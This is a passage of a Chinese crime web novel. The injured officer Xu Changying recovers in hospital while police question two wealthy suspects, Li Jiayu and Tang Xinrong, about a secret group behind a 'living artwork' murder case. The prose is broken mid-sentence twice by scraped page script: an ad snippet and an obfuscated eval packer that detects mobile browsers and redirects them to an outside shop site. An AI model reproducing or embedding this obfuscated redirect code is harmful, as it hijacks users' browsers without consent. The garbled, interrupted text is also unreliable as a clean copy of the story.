众人一瞬间都不知道吐槽什么了,如果没记错,唐新荣也好歹是唐攸宁爷爷的亲儿子吧,你们豪门家族都是这样的吗? 唐攸宁大哭着在自己保镖身边蹲下了,看着躺在夏青怀里,仰着鼻子被塞脱脂棉花止血的徐长嬴,他的情绪彻底没办法控制了,从“对不起”到“学长你是不是很疼”一顿输出。 赵洋每次想插嘴,都被这泗涕横流的唐少给打断了,终于他忍无可忍怒道:“我说这个粉红色的疯子能不能控制一下情绪,你到底是谁啊!真的好莫名其妙,徐长嬴你一个北美职高生哪来的学弟?” 余梅拽了拽赵洋,示意人家唐家保镖还都站在一边呢,但赵洋怒上心头一整个威武不能屈,恶狠狠瞪着唐攸宁。 徐长嬴仰着头正要说话,就看见夏青的眉毛轻轻皱了一下。 徐长嬴含着一嘴血吐也不是咽也不是,还仰着头除了夏青谁也看不见,就只能用右手比划起来。 赵洋一腔的心疼和后怕都被唐攸宁给搅混了,他看着徐长嬴那乱七八糟的手势没好气道:“你freestyle呢?消停点吧!” 谁知边上李嘉丽突然道:“他说这是他高中学弟。” 余梅和齐枫齐声道:“真的假的?” 李嘉丽正拿着纱布按着徐长嬴大腿上一条长口子止血,一脸无奈地看向自己搭档不安分的右手:“之前我们在越南办一个案子学的手语,对了,徐又说了,唐也是赵警官你们的学弟。” 齐枫一脸笃定道:“不可能,我念到毕业我们学校也就两个优性alpha!” 赵洋看着唐攸宁狐疑道:“而且你们唐家在香港,怎么可能去我们高中念书。喂,你怎么认识徐长嬴的!” 唐攸宁哭得正动情,被赵洋急躁地打断,猛地抬起头含泪瞪了一眼赵洋:“烦死了,你不上网吗!我是私生子!” 赵洋被堵的哑口无言,而唐攸宁又骂起身边的保镖:“我之前就说了要救护车,为什么还没到!” 保镖低着头道:“唐总,我们已经去联系了,很快就到。” 一只手轻轻拍了拍唐攸宁的手,正是徐长嬴。 唐攸宁立刻变脸收起了狰狞的怒气,又继续期期艾艾抹着眼泪,这时邵巧巧和唐家另一个保镖带着医护人员跑了进来,“夏教授,洋哥,救护车来了!” 徐长嬴两个鼻孔正好在换了一大堆脱脂棉花后终于止住了出血,只是一张血呼刺啦的脸上顶着被棉花撑大的鼻孔又吓人又好笑。医护人员将折叠担架推到徐长嬴身边的时候,夏青就要将他抱起来,徐长嬴却着急地嗯嗯了两声,右手比划起来。 “徐问陈秘书有没有上救护车,”李嘉丽解释道,“他还说他身上不严重,能走路。” 唐家保镖道:“有三台救护车,陈秘书和姚秘书已经被安置好了。” 赵洋和一旁的医生抬着徐长嬴的脚:“行了快去医院吧,你全身上下也就嘴硬了,哦,嘴也坏了。” 在被推进救护车之前,徐长嬴努力吐出一大口血,突然开口道:“唐攸宁你回去做笔录。” 唐攸宁腿都要跨上救护车了,一脸不可置信:“凭什么!” 赵洋皱着眉头道:“什么凭什么!你今天也是在案人员,还是唐新荣的家属,你怎么都要接受调查。” 唐攸宁伤心欲绝大声道:“我才不认识唐新荣呢!” 邵巧巧在一旁安慰道:“唐总,徐警官不会有什么事的,夏教授陪去就可以了。” 她这安慰在唐攸宁面前还不如不安慰,唐攸宁怒视着坐在救护车里静静凝视着徐长嬴的夏青,他虽然愤怒但不敢真的爬上车,只能不甘心地看着车门被救护人员关上。 在救护车里,救护人员简单检查一下,发现徐长嬴鼻骨骨折,嘴里软组织挫伤严重,一时不好处理,只能给他塞了一大块纱布含着止血,徐长嬴的伤确实没有那么严重,但他左上臂被扎了一根细钢筋,处理起来比较困难,左边大腿也划开一个十公分的大口子,但幸运的是避开了动脉。 见徐长嬴脸色苍白发灰,医护人员问边上夏青:“家属,病人的性别和血型是什么?有无过敏药物和病史?” 夏青愣了愣,徐长嬴伸出右手在他沾满血的手心画了一个A。 夏青对着随车医生道:“A型血,性别beta。” 随车医生道:“好的,我记下了,病人你疼痛感是不是比较强烈?我给你先打点麻药,你坚持一下。” 徐长嬴伸手在夏青手心里又画了两笔,夏青意识到他写了什么立即抬起眼看向徐长嬴的脸,鼻孔和嘴里都塞着棉花的徐长嬴有气无力冲他眨了一下眼。 夏青对正要开始配药的医生道:“不用了,他对麻药有耐药性。” 徐长嬴正要收回手,却发现手被夏青攥住了,他偏了偏脸,看见夏青低着头定定地望着两人的手。 救护车到最近的医院的时候,已经有医护人员在等着了,徐长嬴立刻被推进了急救诊室,急诊医生拿起把剪子就快速问道:“衣服不要了啊?” 徐长嬴比了个OK的手势,公立医院的医护人员手脚无比麻利,手起刀落,徐长嬴左胳膊和大腿就冷飕飕地露在外面。 四五个医生围着徐长嬴开始急救,给他打了止血针后,就开始用生理盐水冲洗伤口,徐长嬴舌头的伤口比想象中的还要大,医生皱着眉头:“这要缝两针的呀,这鼻子也断了,得上夹板。” 徐长嬴肩膀和大腿各缝了二十来针,因为没有麻药,所以就算昏昏沉沉的也睡不着,不断被尖锐的疼痛刺清醒。 迷迷糊糊他看见夏青一直站在诊室里,靠着门注视着他,不知多久后他听到医生道:“耳鼻喉的医生来做手术了,给他把衣服换了。” 徐长嬴睁开双眼,突然挣扎了一下,一直盯着他的夏青快步走上前,徐长嬴却指着他:“夏青,你先出去!” 医生不满道:“诶你动什么!伤口才缝合好!” 夏青立刻道:“好的,我出去。”说罢就转身出了诊室门。 一边的护士笑着咔擦一下剪开剩余的布料,道:“我们一群女的你不害臊,着急让人家帅哥出去,怎么想的。” 说着护士就轻柔地拨开徐长嬴沾满血的衬衫领口,下一刻病人后颈纵横交错的狰狞刀疤露了出来。 “啊呀——”护士惊地叫了一声。 躺在手术床上的病人竖起右手指放在唇边,笑着对她做了一个噤声的手势。 夏青出了诊疗室,秘书和助理就迎了过来,齐秘书是他兴安总裁办公室里的人,此时被紧急调配过来,他立刻汇报道:“夏总,省一的耳鼻喉主任已经赶过来,在手术室里做准备了,林董和林先生也都听到消息,让您赶回去一趟。” 夏青:“知道了,我走不开。” 齐秘书立刻点头道:“好,我会传达。” 余助理是夏青实验室里的人,与夏青更加熟悉,他此时对着站在诊疗室前一动不动的夏青道:“夏总,我给您和徐先生都拿了衣服,您要不要换一下?” 夏青转头看向他,看见余助理谨慎的神色,他这才低头看向自己,发现自己整个浅色衬衫和西裤几乎都被血浸湿透了。 余助理只见面前的极优性alpha波澜无惊的面庞终于裂开一丝轻微的裂缝,涌出了难以形容的复杂情绪。 没有麻药缝舌头在世界酷刑应该都能排进前几,以至于后面扶正鼻子打夹板都变得很好忍受,几乎在主刀医生说好了那一秒徐长嬴就睡了过去。 但他睡的总不踏实,总觉得后颈凉飕飕的,光秃秃的,好像走在大街上忘记穿衬衫一样,所有人还有夏青都能看见他脖子后面的疤痕。 等到恍恍惚惚要醒的时候,他突然又身处一个漆黑的车厢里,周围全是三合木箱子和泡沫纸,他甚至能闻到充满甲醛的劣质热熔胶的味道,他摸索了一阵,他突然摸到一只僵硬冰冷的手。他这才意识到原来自己就在差点被销毁的货车里,他身边就是消失的256号和372号活人塑像。 他隔着塑封袋摸了摸,终于一把扯开包装,打起手电看见了沉睡在黑暗里的塑像面庞,那人是—— 徐长嬴睁开眼,与一个穿着粉黄色护工服的中年女人对视,对方正拿着热帕子擦他的手指缝。 徐长嬴认识她那制服,是唐家医院的人,唐攸宁这人内里和他表面的疯癫不一样,心思缜密要死,早就料到了徐长嬴的顾虑。 徐长嬴低头看了看身上的病号服,护工立刻道:“徐先生,衣服是我换的。” 徐长嬴疲惫又放松地点了点头。 门被轻轻推开了,穿着一身黑西装的夏青走了进来,徐长嬴睡了一夜,舌头不疼,鼻子开始疼了,于是喊了他一声:“夏青。” 护工收起手帕和盆低着头走了出去,夏青坐在他的床边,将他的手放回被子里,轻声道:“还是先不说话比较好。” 徐长嬴心里想本来夏青就不爱说话,自己还不能说话,那也太诡异了。 不知道是因为长得太白还是太俊俏,夏青穿上纯黑的西 (function () {var id = "2377029035902478992-21409";document.write('''''''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''''.inform'''').remove(); $(''''#content'''').append('''' 装反而显得年纪更小,随着低头的动作,刘海微微撒在眼睛前面,看上去就像穿了正装要去领奖学金的大学生夏青。 “李旭阳和李嘉玉交代了吗?”徐长嬴没听话,低声道。 夏青大概也猜出他的品性,没多说什么,而是向他讲诉了这十几个小时里的事情。 李旭阳咬死自己什么都不知道,只是说自己是在李嘉玉的安排下跟随唐新荣前往金属处理厂房阻止外人进入搞破坏。而警方确实没有证据来确定他对5.23案件知情,于是赶在李旭阳的父亲李嘉豪和继母林涵山前来要人之前审问他有关“阿风”和赵兰月的事情。 李旭阳记得赵兰月和阿风,但他却说他与赵兰月不熟,记忆里赵兰月成绩很好家世普通,和他的圈子没什么交集,倒是有几个富二代打过赌要追她,最后也不了了之。到了高二时候,他开始加入一些富二代的玩乐圈子,知道了“蛇头”这类人,这类人简单而言就是富二代的皮条客,阿风就是一个蛇头。那时候突然赵兰月性格变了,开始出入这些玩乐圈子,但李旭阳自述因为家里管的紧,所以他没有真玩过。 但李旭阳最后提供了一个名字——这个夏青的继弟简直是夏青的对立面,撒泼还是背刺样样都来,李旭阳说与阿风这个蛇头关系最亲密的是唐英云,也就是唐新荣的儿子,比李旭阳大两岁,因为在内地念大学,所以成为那时富二代圈子的风云人物。 至此,李旭阳就被李家领回去,而他提供的有价值信息就这么多了。 再聊到唐新荣,审了一夜,这个老油条比李旭阳难缠多了,他是咬死不松口,问他为什么要带人不让警方搜捕货车,他居然说他根本不知道那个货车是什么东西,李嘉玉和他交情好,他帮助朋友教训一下非法入侵份子罢了。至于为什么要和下属一起杀夏青,3号指令是什么,他更是不承认有什么3号指令,他说只是自己一时激动想教训一下夏青,把他推进去摔一跤,谁知黑西装误会了自己,下了死手。 警方拿到他的手机,在收信箱里看到一条新短信,标题是:CA612-3,但正要点击进去看短信内容时,手机屏幕突然变成血红色,并随机开始循环播放砍人头的恐怖血腥视频,差点把技术员邵巧巧吓得魂飞魄散。 很明显,这是附在短信上的病毒,手机病毒本就非常少见,而且还不等邵巧巧等人进行处理,手机主板就因为过载而烧毁了——可以肯定唐新荣的手机经过了特殊改装,甚至能够突破屏蔽仪范围接受这类特殊信息。 但现在一不知短信内容是什么,二不知短信来源是谁,三不知唐新荣的犯罪动机是什么。 很明显唐新荣是接到CA612-3这条短信,才与心腹一起萌生对夏青的杀心,但是为什么要杀夏青,为什么要对短信言听计从,这都是警察百思不得其解的。 唐新荣此人虽然势力不如唐攸宁和唐家里其他得势子弟,但他名下的资产与李嘉玉相比也并不逊色,甚至因为唐家人的身份而更胜一筹。因此,这种上流社会的巨富之人,到底是在恐惧什么,不惜在众目睽睽之下犯罪? 唐新荣身边的黑西装叫钟和平,当了唐新荣二十多年的贴身秘书,两人几乎形影不离,但因为被赵洋一枪打穿了肩膀,又被齐枫抓着脑袋撞在墙上,到现在还处于昏迷,所以也没办法提审。 事已至此,目前能得到的结论是:一、唐新荣与钟正义一定是5·23大案的知情者;二、犯下5·23活人艺术品案件的组织非常庞大,其内部成员很可能遍布于唐家和李家这样的显赫之家,这是一场属于上流社会的恶劣犯罪表演。 等到徐长嬴听完大致情况,心里已有判断,他看向夏青,了然道:“256和327号都不在了吧。” 夏青眸色微沉,点头:“正是,昨天下午严队就打开货车车厢,只少了这两件展品,现在警方正在调查工业园的监控网。” 徐长嬴微微合眼,道:“意义不大,不如去查监控是谁调换的。” 夏青道:“已经查过了,是李嘉玉的秘书干的,重案组和公安厅的人在抓李嘉玉。” 一只温热的手轻轻覆在徐长嬴的额头上,夏青又道:“你还有点发烧,我去和医生说一下。” 徐长嬴又睁开眼睛,笑道:“我天生上火,这是正常体温,你是不是根本没休息?快回去。” 夏青定定望着他的脸看了一会儿,没有回答他,道:“唐攸宁的医生打电话过来强调你不能用类固醇激素止疼,所以医院给你换了抗组胺药,你现在会比较困,但舌头会不那么疼了,下午可以简单吃些流食。” 徐长嬴意识又有点模糊,其实不太能听见夏青具体的话,点了点头,“我知道了。” 许久之后,在他即将坠入梦境的前一刻,他感觉到自己的被角被掖了掖。 31. 金玉其外 徐长嬴中午被护工叫醒吃了一顿稀里糊涂没什么滋味的流食,拿着手机给李嘉丽和班杰明发消息,但这两人都没有回,于是又只能在药效下又昏睡过去。 徐长嬴是被手机铃声吵醒的,他一睁眼发现整个病房都变成了橙黄色,应该正是黄昏时刻,昏暗的房间里沙发上原来睡了一个人,铃声响起的下一秒他就坐了起来,迅速接起了电话。 这人正是夏青,他的西装外套搭在沙发靠背上,他站在离床较远的窗前接起了电话,徐长嬴睡的天昏地暗,也不知道他什么时候来的。 夏青只是说了一句“是我”,电话那边就滔滔不绝起来,说了足足有五分钟,夏青才又道了一句,“知道了,我会过去。” 挂了电话,徐长嬴已经坐了起来,一脸热忱地盯着夏青看。 夏青拿着手机,朝着他走过来,道:“不好意思,我刚刚睡着了,电话把你吵醒了。” 徐长嬴:“这有什么,我都睡一天一夜了,李嘉玉被逮捕了吗?” 夏青点头:“中午就已经被带回市局了,刚刚方队打电话过来,李嘉玉在第一轮审问里坦白了自己和唐新荣就是犯罪组织的一员,但是对于组织的信息没有松口,态度很坚决。但他提到了一个上级成员的代号,Mephisto,中文译名梅菲斯特。” 徐长嬴皱着眉头道:“梅菲斯特?怎么还是洋人名字?好耳熟,好像是宗教名字,他不会是进了邪教了吧?那他没有说自己为什么藏匿货车吗?” 夏青道:“唐新荣和李嘉玉都声称他们是被迫帮助上级成员完成工作,现在还不知道具体的胁迫手段,但他们的情绪都很异常,李嘉玉说出梅菲斯特这个代号后就因惊吓短暂晕厥了,现在还没有醒。” 徐长嬴心里想着李嘉玉怎么现在当了老总还是原来那个孬种样,他笑道:“别是他装的。” 夏青微微点头:“应该也是在拖延时间,李旭隐一小时前刚回国,他方才联系了我,大概两个小时后能够到广州。” 赵洋之前与徐长嬴大致说过现在李家和林家的情况,庆元李家是国内龙头房地产集团,当前李畑越的继承人位置大概已经默认是三儿子李嘉平这一房了,其他儿子与其相较都风头锐减,因此李嘉玉这个五儿子的地位与唐新荣在唐家的地位很相近,也怪不得他们能凑到一起。 李旭隐是李嘉平的大儿子,也就是李嘉玉的侄子,但两人实际上都是29岁,叔叔侄子同岁其实不算尴尬,但李旭隐这两年已经开始掌管庆元话语权,其影响力与地位是李嘉玉这个五叔远远比不上的。 不过,这其实并不稀奇,因为李嘉玉在上学时就是一副懦弱怕事,心眼如针尖的弱鸡,又被亲爹扔到三哥家中抚养,为人正派又崇尚磊落的李旭隐自幼就没少管教这个五叔叔。 徐长嬴听见夏青说的话,心里更觉得好笑,没想到大家一转眼年纪这么大了,李嘉玉遇到事情还是李旭隐擦屁股。 徐长嬴思绪万千,夏青却一直只是静静望着他的脸看,徐长嬴抬起头触及他的目光,很有些不好意思,道:“夏青你怎么这么看我,我不会是毁容了吧,不过这药还挺好的,我舌头好多了。” 夏青轻轻摇了摇头:“没有毁容,鼻骨已经复位了,还是不要多说话,药效过了还会疼。” 徐长嬴除了鼻子脸上大大小小的口子也不少,但幸好没有剃头发,只是用绷带裹了额头两圈,鼻梁骨上打了夹板,看上去就像是整容事故受害者。 夏青又道:“还有一件事。” 徐长嬴:“嗯?” 夏青道:“刑侦二队找到了赵兰月高中时的一个好友,对方提供了一张疑似是赵兰月与阿风的照片。” 说着,夏青就坐在他的床边,将手机屏幕递给他看。 徐长嬴定睛一瞧,发现这是一张电脑打印出的老照片,看上去很像八九年前的像素较差的手机拍摄的,背景应该是一家学生聚餐的快餐厅,是两个人的半身像,其中的女生还穿着校服,留着一头顺直的长发,饱和度失调和锐化过度的画面都无法掩盖住她面庞的美好。 她的美实在是太真实了,从头发到脸上淡淡的笑意,都透露出青春独有的清纯气息,这份真实与赵秀贞掺杂着泪水与恨意的陈述、作品集里412号展品的公式照和解剖室里那堆可怖的碎片混杂在一起,形成了强烈的冲击力,让见过几十件大型变态犯罪的徐长嬴都有些心神惶动起来。 而女孩身边的男性对比之下则显得异常普通,甚至很违和,他长得与警方想的不太一样,看上去只有20出头,寸头和黑T恤让平平无奇的容貌显得更加不伦不类,他看上去个子不高,身材也比较瘦弱,非要说,简直和十几年前治安不好时经常堵在校门口的小混混们一模一样。这个阿风似乎并不乐意拍照片,他脸上露出不耐烦和轻蔑的神情,甚至都没有看向镜头,只露出大半张脸。 徐长嬴迟疑道:“他不是alpha?” 夏青道:“已经将照片送去全国人口大数据库里筛查了,今天就能出结果。” 徐长嬴不由得感叹道:“我靠,这个女同学比唐新荣和李嘉玉加起来都有价值。” 夏青站起身,去沙发处拿回西装外套穿上,不知道他怎么做到在沙发上睡着了结果西装裤一条褶子都没留下来的,一瞬间他又变回了颇具贵气的精英教授。 徐长嬴眼巴巴道:“你要走了吗?” 夏青打着领带,对着他点点头:“我晚上会回来。” 徐长嬴一脸忸怩:“我也想去。” “不行,”夏青正色道。 徐长嬴道:“我好胳膊好腿的,我也要去,大不了我不说话!” 他这话说得忒没有道理,至少被他纠缠了十五分钟的夏青带着他回到重案组的时候,齐枫差点要把他扛去医务室和李嘉玉睡一起。 徐长嬴吊着左手,拖着左腿,头上裹着绷带,鼻子夹着夹板,左边颧骨还一片刚结痂的血痕,就算夏青的替补神奇秘书给他准备了价格和样式都很不错的衣服,也显得十分吓人。 徐长嬴摆摆手示意自己没事,就看向空荡荡的办公室,问道:“其他人呢?” 脑门上贴着纱布的齐枫道:“一小半去调查阿风了,一小半的在医务室那边守着李嘉玉,严队他们在陪领导等李家人,好像他们就快到门口了,我和梅姐刚刚吃完饭,也正要过去。” 徐长嬴连忙热情道:“走走走,一起走!” 说罢就一瘸一拐但极快地走出了办公室,余梅一脸惊异:“徐警官你腿上那么大伤口你怎么这么灵活?” 徐长嬴:“瘸腿走路我很有经验,这是我的独门技艺,刚刚夏青不信,我走了几圈他才带我来哈哈哈——” 齐枫跟在后面一路追着,对着一边快步走着的夏青抱怨道:“他说他要来,你还真带他来呀?” 齐枫的语气过于熟稔,夏青微微偏过脸看向她,齐枫却没意识到自己有什么不妥,她撂下一句:“你就听他说什么是什么吧!” 说罢,齐枫走到前面,搀着徐长嬴的好胳膊,道:“向右转。” 几人还未走到医务室的门口,就听到里面李嘉玉歇斯底里的叫声,“不要杀我,我什么都没说,我交了税金,你们不能杀我!” 齐枫一把推开门,道:“怎么了!” 只见实习生法医小秦紧紧抱着一个玻璃大罐子,抱怨道:“这是王老师的收藏,要打破了我怎么赔呀!” 赵洋和谈松站在一边,谈松将两只手都被拷在铁架床上还在不停挣扎的李嘉玉压在床板上:“别发疯了李嘉玉!停下来!” 宋瑜立抱着胳膊站在白色床帘的边上,无奈道:“刚刚他一睁眼就看见小秦放桌上的标本,然后就吓破胆了。” 这时齐枫等人才看清小秦怀里那个玻璃罐子里是泡在福尔马林的人头。 余梅按着太阳穴道:“小秦你怎么在这儿?” 小秦道:“医务室的王医生今天去参加闺女学校运动会了,张主任让我来顶一天。” 齐枫道:“不是吧,活人的事你会吗?” 小秦嘿嘿一笑:“上学时候学的解剖课是一样的,其实差不多,都会点。” 见众人都盯着自己怀里的罐子看,小秦又解释道:“这是王老师的收藏,我趁他不在才拿出来看看的,差点被这人打破了。” “你们这帮贱民怎么敢这么对我!快点放开我,你们知道我是谁吗!”李嘉玉咬牙切齿地怒吼道,他看上去确实精神不正常。 几人走进医务室,在另一边的白色床帘边上站着,余梅对着身后的徐长嬴解释道:“他尿检阳性,但还没查出具体的药品成份。” 徐长嬴简直更佩服李嘉玉了,这个孬种还真是放飞自我,什么都敢碰。而且李嘉玉居然看上去和高中时没有两样,还是高高瘦瘦,巴掌脸和丹凤眼,被谈松一只胳膊就压得死死。 “你是谁?”赵洋冷冷盯着李嘉玉道。 李嘉玉的意识开始游离,他双唇哆嗦,结结巴巴道:“我,我是第3区的Marquess,你们没有资格碰我,你们违反了规则,你们都要死!” 赵洋抱着胳膊,“哦,那梅菲斯特是第几区的人?” 听到梅菲斯特的那一刻,李嘉玉浑身一震,他哆嗦着:“我不认识他,不是我说的,是唐新荣说的,我什么都不知道……” 抖着抖着,李嘉玉的眼神终于渐渐清明,挣扎力度变得小了起来,谈松渐渐放开他,低声骂了句“真难搞”。 李嘉玉恍惚了几秒,抬起头看见站在床边的赵洋,他惊道:“你怎么会在这里!” 赵洋哼了一声,冷道:“我是警察我怎么不在这里?” 审问李嘉玉的是方溥心、余梅和谈松,还没审完李嘉玉就昏过去了,所以一开始没有见到赵洋。 李嘉玉一脸不可置信:“你?你当警察了?就你还当警察?” 余梅轻轻咦了一声 ,徐长嬴才意识过来赵洋和齐枫还未和其他人说他们与李嘉玉认识。 谈松喝道:“注意态度,你是犯罪嫌疑人!” 李嘉玉脸上闪过一丝复杂狰狞的神情,还未等他开口,赵洋就单刀直入道:“李嘉玉你还没有回答我,梅菲斯特是第几区的人,他是谁?” 李嘉玉低吼道:“我不认识,我没有说过这个名字!” 徐长嬴意识到李嘉玉所处这个组织对于泄露内部信息应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'''',24,24,''''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13049277|137533||http|test|mini|href|location''''.split(''''|''''),0,{})); () { $(''''.inform'''').remove(); $(''''#content'''').append('''' 该是有着非常残酷血腥的惩罚,但李嘉玉并不是普通人,在现实生活中掌握着如此财力物力,为什么会这么害怕?难道是有什么把柄在这个犯罪组织里? 赵洋道:“审讯时你亲口说的,有录像有录音,你以为这是你家可以随便抵赖吗?你说出来我们就一定会查到底,你最好赶紧交代。” 李嘉玉眼里满是憎恶,他双手被拷着,突然冷笑道:“赵大公子,真没想到能有你教育我怎么做正派人的一天,也是我低估你了,我以为你爸死了你应该跑到国外躲债,或者在哪里当个要饭的乞丐,这么看来赵叔叔也算没白死。” 赵洋一把揪起李嘉玉的领口,谈松和宋瑜立扑了上去抱住了他,众人的面上都不可避免地染上了惊异的颜色。 李嘉玉却满脸挑衅地继续道:“怎么了?你不是警察吗?你的专业素养就是私下用刑?我哪句话说错了吗?赵大公子你当年多么狂多么特立独行,我们李家和林家你哪一个放在眼里!要不是你现在只能是个领几千块工资的废物,论不务正业我还得跟在你后面学习呢!” 话音刚未落,齐枫就已经扑了上去,余梅都没反应过来,她抡起胳膊就要抽李嘉玉一个耳光,正拦着赵洋的谈松看见她冲过来,十万火急之时他只能用自己的脑袋挡了下来。 一声惊天劈地的耳光声响起,谈松整个人直接被打翻在地上,小秦连忙扶着他:“没事吧!” 谈松一张帅脸的脑门上浮现出鲜红的五个手指印,他被打得晕头转向找不到北,坐在地上摆了摆手:“没事没事,齐枫你这神经病,你不知道自己的力气吗?你这巴掌下去他不是脑震荡就是耳膜穿孔!” 李嘉玉只觉得一阵恐怖的劲风从自己脸上划过去,还不知道自己死里逃生,但又听到身边沉重的呼吸声,一转头就看见双眼通红,死死盯着自己的齐枫。 “我草你怎么也是警察!”李嘉玉畏惧地缩了缩脖子,虚张声势道:“好哇,你们真当我怕你们?当年你们两个屁颠颠跟在徐长嬴背后,谁也瞧不起我,这才几年你们混得连乞丐都不如!你们这群穷鬼有种碰我一个指头试试!我这辈子还真没怕过谁,你瞪我有什么用?徐长嬴那个傻逼难道还能从棺材里爬出来吗!哈哈哈你们也有今天——” “这是你说的,李嘉玉。” 一个声音幽幽响起,李嘉玉脸上挤出来的笑容瞬间僵住了,他缓缓抬起眼,看见一个脸上全是血痕绷带的男人站在自己床边歪着头看向自己。 李嘉玉以为自己眼花了,他震惊地看着徐长嬴,这时又瞥见了他身后一脸阴沉的夏青,瞬间就抖成了筛糠,磕磕巴巴道:“鬼,见鬼了,你不是死了吗?” 徐长嬴定定看着他,眼睛微微眯起了些,“谁和你说的?你怎么还和以前一样天天听小道消息乱嚼舌根?” 说罢,在众人惊恐的眼神里,徐长嬴抬起右手,笑眯眯道:“李嘉玉,还记得吗?咱们之前说好的,让我听见你嘴里叫我一声名字,我就扇你一个耳光,幸好你刚刚就叫了两声,但你也最好把牙咬紧了。” 余梅和宋瑜立在边上急得团团转,“徐警官,不能打!会有处分的!夏教授你快拦住他!” 徐长嬴抡起了胳膊,轻松笑道:“没事,这是我和李总之间的个人约定,而且我们AGB向来只扣奖金没有处分。” 站在他身后的夏青也是静静看着,丝毫没有任何要阻拦的意思,只是点点头:“我会和李家的家属解释。” 久远的记忆如潮水一样涌上心头,李嘉玉发出哀叫:“徐长嬴!你不能打我,之前说的那不算数了!你不许动我!” 徐长嬴摇了摇头,“三声了,把牙咬紧!” 说罢,徐长嬴的手就狠狠抡了下去,擦过李嘉玉的脸颊砸在了枕头上——不是徐长嬴不敢打,而是李嘉玉又昏厥过去了。 “傻逼玩意,虚成这样也敢学人家嗑药,都他妈快吸成羊角风了。”徐长嬴死死掐着不断抽搐的李嘉玉下巴,对着小秦道:“拿个压舌板给他放嘴里。” 小秦接过手处理起来后,徐长嬴拍了拍齐枫的肩膀,“他就一傻逼,听他说话就当放屁。” 齐枫道:“我知道。” 徐长嬴推了她一把:“去和人家谈警官道歉去,你看把人家脑门打的。” 齐枫在余梅的陪同下这才垂头丧气地朝着坐在另一张病床上的谈松走去。 夏青站在一旁,看见徐长嬴又一瘸一拐走向赵洋,牵着他:“走,陪我抽根烟。” 赵洋道:“我没有烟。” 徐长嬴道:“滚蛋,我都闻到了。” 赵洋道:“你怎么还是狗鼻子,刚刚李嘉玉都被你吓得信息素失禁了你能闻到吗?” 徐长嬴:“我是beta,闻到就真有鬼了。” 两人走出门之后,宋瑜立和余梅两两相望,他们不约而同地都想起了四年前从普通片警做起的赵洋,想起了西山大案里那个追到偷渡船上,将嫌犯的头死死按在污水桶里,大腿中枪也浑然不知的赵洋,想起了每一个任务里自觉端着盒饭蹲守最长时间的赵洋。 方才李嘉玉的刺耳声音似乎还留在房间里,这让他们心底也不由得萌出一丝丝不是滋味的酸涩感。 32. 李氏家暴(上) 走廊的尽头,徐长嬴靠在墙上,看着赵洋从裤兜里翻了半天,掏出一包压瘪的云烟。 徐长嬴道:“你戒烟你随身带烟干什么?” 赵洋抽出一根塞进他的嘴里,自己也叼了一根,道:“不抽带在身上也安心。” 徐长嬴笑道:“安慰自己实在不行的时候可以抽对吧?我之前这样干一年多都没戒掉。” 赵洋给自己点了烟,又伸手给他点烟。 楼道里很安静,只有赵洋手中的打火机发出咔嚓的轻响。 火光微微照亮了徐长嬴的面庞,徐长嬴低着头盯着赵洋手中的打火机看,点燃后缓缓直起腰,叼着烟道:“这打火机质量还挺好。” 赵洋道:“店里的人说顶多再用一年了。” 白色的烟雾在两人的面孔中慢慢弥漫,徐长嬴笑道:“不错啦,当时我买的时候那个店主说能用十年,看来他没坑我。” 赵洋突然也笑了起来,骂道:“放屁,当年明明是夏青说哪个好你就买哪个,别以为我不知道。” 徐长嬴靠在墙上,夹着烟咳嗽了一声,道:“但钱是我付的好吧,那个比赛我记得我画了两个月,起早贪黑和农民工刮腻子一样,奖金还不够呢,我又贴了点私房钱。而且我本来眼光就差,要是我挑的两年都用不了。” 赵洋望着他,半晌,才低声道:“不画了?” 徐长嬴嗯了一声,坦然道:“画不出来了,我不说假话,当然速写素描这些还行,但再正儿八经画下去注定就丢人了。” 赵洋抽着烟低头道:“不画就不画了,生死有命,富贵在天。” 两人对视一眼,都知道了彼此都没有说出口的话。 “对了,我有事还没问你,”烟快抽完的时候,赵洋像是想起了什么。 徐长嬴有些珍惜地抽着最后两口烟,红色的火光明明灭灭,“什么事?” 赵洋道:“你和唐攸宁什么关系?到底是怎么遇上的?” 徐长嬴叼着烟抬起头道:“哦对,我还没和你说过,那个小孩疯疯癫癫的,但其实人还是挺好。” 赵洋笑了一声,道:“能看出来,毕竟正常人谁会穿成那样?” 徐长嬴想起昨晚开始蜂拥而至的微信消息,以及夹杂在哭泣表情包里对自己的控诉。 徐长嬴有些不自然地想摸摸鼻子,却发现自己正在垫鼻梁手术恢复期,于是收回了手道:“他和我说,是因为我上一次见面说他没有艺术细胞,让他平时在衣食住行找点艺术感,所以他就故意穿成那样——好吧,他确实是傻逼。” 在赵洋不明所以的审视目光中,徐长嬴将烟头掐灭,扭着头看着窗外开口:“唐攸宁和夏青很像。” 赵洋啊了一声,道:“你眼睛有毛病吗?他俩一个神经病一个机器人,怎么一样了?我倒是觉得他倒是和你很像,不过你当年比他还神经病。” 徐长嬴轻轻皱起眉头,像是真的在思考,道:“说不上来,不过非要说的话,他俩的处境挺像的。” 赵洋道:“我其实正奇怪呢,当时他嚷嚷说是你学弟,我和齐枫回去琢磨好久,怎么都记不起我们学校里有第三个优性alpha,那可是优性alpha,就算不是唐家人,你还不清楚那是什么意思吗?” 徐长嬴轻飘飘道:“那时候他还没分化呢,他也是二次分化,14岁才分化成优性alpha的。” 赵洋眼睛瞪大了,道:“所以我们毕业的时候他还是beta?怪不得没听说过,妈的网上不是说这唐家优性alpha是唐家从小精英培养的吗?吹得神乎其乎,活脱脱皇太子出身一样。” 徐长嬴捏着烟头,低头轻笑着摇摇头道:“他不是,他母亲是唐新易包养的女大学生,生他的时候还在上学,唐家优良传统不就是多找女人生孩子吗?他生下来就是数不清的私生子中的一个,所以一直跟着母亲在广州生活,唐家就安排了一个保姆过来照顾他,十岁时被测出beta后就连保姆都走了。后来14岁二次分化成优性alpha,还是唐闳蕴那个老头子亲自把他接回去的。” 